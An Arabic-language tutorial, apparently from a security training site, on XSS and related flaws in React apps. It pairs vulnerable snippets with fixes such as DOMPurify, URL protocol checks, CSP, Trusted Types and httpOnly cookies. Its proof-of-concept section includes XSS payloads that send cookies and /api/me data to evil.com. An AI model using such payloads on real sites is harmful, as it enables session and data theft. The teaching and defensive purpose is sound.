الفرق الحمراء — الهجومخبير90mL69
أمن React — XSS و Hydration و الـ Refs
dangerouslySetInnerHTML، JSX injection، URL handlers، XS-Leaks
#React#XSS#Hydration#DOM#CSP
React XSS-by-default? — أو لا؟
React يهرب النصوص في JSX تلقائياً، لذا {userInput} آمن. هذه الإشاعة تُنسي المطوّرين أن React يفتح فجوات أخرى: dangerouslySetInnerHTML، URL handlers (href, src)، الـ refs، الـ event handlers الديناميكية، JSX injection عبر React.createElement.
تشبيه — شرح مبسط
كباب أمان مزدوج. الإطار يحميك من نسيان قفله، لكن لو فتحته يدوياً (dangerouslySetInnerHTML) فأنت لوحدك. كثيرون يفتحون الباب لأن "الإطار آمن دائماً".
تذكير
الأمثلة لتعليم استغلال DOM/XSS في تطبيقاتك. لا تطبّقها على مواقع لا تملكها.
dangerouslySetInnerHTML — الباب الكبير
jsx
// خطر — markdown-to-HTML بدون sanitize
function Comment({ markdown }) {
const html = markdownToHtml(markdown);
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// PoC في markdown
[click me](javascript:fetch('/api/me').then(r=>r.json()).then(d=>fetch('https://evil.com',{method:'POST',body:JSON.stringify(d)})))
// أو HTML inline
<img src=x onerror="document.location='https://evil.com/?c='+document.cookie">
// الإصلاح — DOMPurify دائماً
import DOMPurify from 'isomorphic-dompurify';
const safe = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p','br','b','i','em','strong','a','ul','ol','li','code','pre'],
ALLOWED_ATTR: ['href','title'],
ALLOWED_URI_REGEXP: /^(?:(?:https?|mailto):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i,
});
return <div dangerouslySetInnerHTML={{ __html: safe }} />;URL Injection — href/src في React
jsx
// خطر — link مفتوح
<a href={userUrl}>click</a>
// PoC
userUrl = "javascript:alert(1)"
userUrl = "data:text/html,<script>alert(1)</script>"
// الإصلاح — فحص protocol
function safeUrl(u) {
try {
const parsed = new URL(u, location.origin);
if (!['http:','https:','mailto:'].includes(parsed.protocol)) return '#';
return parsed.toString();
} catch { return '#'; }
}
<a href={safeUrl(userUrl)} rel="noopener noreferrer" target="_blank">click</a>
// + rel="noopener" دائماً مع target="_blank"
// لمنع window.opener tabnabbingJSX Injection — حالات نادرة لكن حقيقية
jsx
// خطر — element type ديناميكي
function Dynamic({ tag, children }) {
const Tag = tag;
return <Tag>{children}</Tag>;
}
<Dynamic tag={userTag}>x</Dynamic>
// لو tag = "iframe" مع children فيها src → embedded iframe
// أخطر — props spread من user
<Component {...userProps} />
// userProps = {dangerouslySetInnerHTML: {__html: '<img src=x onerror=...>'}}
// الإصلاح — allowlist للـ tags + لا تنشر user props مباشرة
const ALLOWED_TAGS = ['p','span','div','section','article'];
const Tag = ALLOWED_TAGS.includes(userTag) ? userTag : 'span';Refs و DOM escapes
أحياناً تحتاج DOM API مباشرة. كل استخدام لـ .innerHTML أو document.write أو eval داخل useEffect يفقد حماية React.
jsx
// خطر
function Editor({ html }) {
const ref = useRef(null);
useEffect(() => {
if (ref.current) ref.current.innerHTML = html; // XSS
}, [html]);
return <div ref={ref} />;
}
// آمن — DOMPurify أو textContent
useEffect(() => {
if (ref.current) ref.current.innerHTML = DOMPurify.sanitize(html);
}, [html]);
// أو لـ النص فقط
ref.current.textContent = userText; // آمنHydration Mismatch كـ Oracle
SSR + CSR mismatch ينتج تحذيراً، لكنه يكشف هل القيمة موجودة على الخادم؟. مهاجم يستخدم هذا كـ CSRF-like oracle.
jsx
// مثال: AB test مرتبط بـ user
function Hero() {
const variant = useABTest(); // يستخدم cookie
return <div data-variant={variant}>{variant === 'A' ? 'Hi A' : 'Hi B'}</div>;
}
// مهاجم يضع iframe لـ /, ثم يقرأ console errors عبر postMessage abuse
// أو يُولّد differences في DOM يقرأها
// الإصلاح — لا تُنشئ DOM مختلف بناءً على per-user data في SSR
// استخدم useEffect للتحديث post-hydration:
const [variant, setVariant] = useState('A');
useEffect(() => setVariant(getVariant()), []);State Management — Redux / Zustand pitfalls
- Storing tokens في localStorage — أي XSS = سرقة فورية. استخدم httpOnly cookies.
- Persisted state (redux-persist) — افحص محتوى المستعاد. مهاجم بـ XSS يكتب state خبيث ثم يبقى.
- Reducer trust — Reducer يفترض actions موثوقة. لو هناك middleware يقبل actions من user input (rare), prototype pollution ممكن.
- Devtools في production — Redux DevTools يجب أن يكون process.env.NODE_ENV === 'development' فقط.
CSP و Trusted Types — التحصين الحقيقي
حتى لو نسيت DOMPurify مرة، CSP صحيح يقتل XSS قبل أن ينطلق.
text
# Strict CSP for React
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{rand}' 'strict-dynamic';
style-src 'self' 'unsafe-inline'; ← React inline styles
img-src 'self' data: https:;
connect-src 'self' https://api.target.gov;
object-src 'none';
base-uri 'self';
frame-ancestors 'none';
require-trusted-types-for 'script';
trusted-types default;javascript
// Trusted Types — Chrome، Edge
// يمنع innerHTML = string؛ يقبل فقط TrustedHTML
if (window.trustedTypes) {
const policy = trustedTypes.createPolicy('default', {
createHTML: (s) => DOMPurify.sanitize(s, { RETURN_TRUSTED_TYPE: true }),
});
el.innerHTML = policy.createHTML(dangerous);
}
// React 18+ يدعم Trusted Types؛ تأكد أن مكتباتك (markdown, charting) تدعمها
// عبر setting compatible policySupply chain — npm + CDN risks
- compromised dependencies — نفس قصة Node. حدّث react, react-dom, مكتباتك.
- CDN scripts (analytics, A/B) — بدون integrity SRI تكسر AppSec كاملة.
- Browser extension supply chain — لا تثق بأي شيء على client.
html
<script
src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous"></script>XS-Leaks — تسريبات عبر الحدود
حتى مع SOP و CSP، browser side-channels تكشف معلومات. مهاجم في موقع آخر يُحمّل تطبيقك في iframe / window و يقيس:
- Frame counting — كم iframe لـ target.com/profile؟ يكشف عدد الـ widgets per state.
- Window.length — قبل/بعد login.
- Cache timing — هل المورد cached؟ → user logged in.
- postMessage leaks — listener على "*".
- Navigation timing — كم استغرق تحميل /admin؟ → admin أم لا.
الدفاع
- Cross-Origin-Opener-Policy: same-origin
- Cross-Origin-Embedder-Policy: require-corp
- Cross-Origin-Resource-Policy: same-site
- X-Frame-Options: DENY (أو CSP frame-ancestors).
- postMessage: قارن event.origin بقائمة صريحة.
- SameSite=strict cookies تمنع كثيراً من تقاطع المواقع.
React-specific CVE highlights
- CVE-2018-6341 (react-dom) — XSS عبر attributes في server renderer قديم.
- react-router CVE متعدد — open redirect عبر basename.
- next/router historical — open redirect.
- Material-UI / antd / chakra — sanitization مفقود في tooltip/popover history.
- react-markdown — في الإصدارات القديمة قبل v6 كان يستخدم raw HTML افتراضياً. v6+ آمن لكن لا يزال يحتاج config صحيح.
Authentication patterns — أين تخفق React apps
jsx
// خطأ شائع — token في localStorage
localStorage.setItem('token', jwt);
fetch('/api', { headers: { Authorization: 'Bearer ' + jwt } });
// أي XSS = سرقة token → session takeover
// الأفضل — httpOnly cookie + CSRF token
// خادم: Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax
// client: لا يلمس الكوكي
fetch('/api', { credentials: 'include', headers: { 'X-CSRF-Token': csrfToken } });
// لـ SPA + token-based — استخدم BFF (Backend for Frontend) pattern
// Cookie ↔ BFF ↔ Auth Server (token تبقى على الـ BFF)ممارسات مراجعة كود React
- ابحث عن dangerouslySetInnerHTML — كل instance يحتاج justification + DOMPurify.
- ابحث عن .innerHTML، document.write، eval، new Function.
- افحص كل href ديناميكي — هل يفلتر javascript:؟
- افحص كل target="_blank" — هل يحوي rel="noopener"؟
- افحص كل postMessage — هل يفحص origin؟
- افحص localStorage — أي tokens / PII؟ يجب أن لا يكون.
- افحص env leaks — REACT_APP_ / VITE_ تظهر في bundle.
- افحص الـ redirects — هل يمنع //evil.com؟
أدوات
ESLint + eslint-plugin-react, eslint-plugin-jsx-a11y, eslint-plugin-security. Semgrep p/react. Dependabot. Snyk.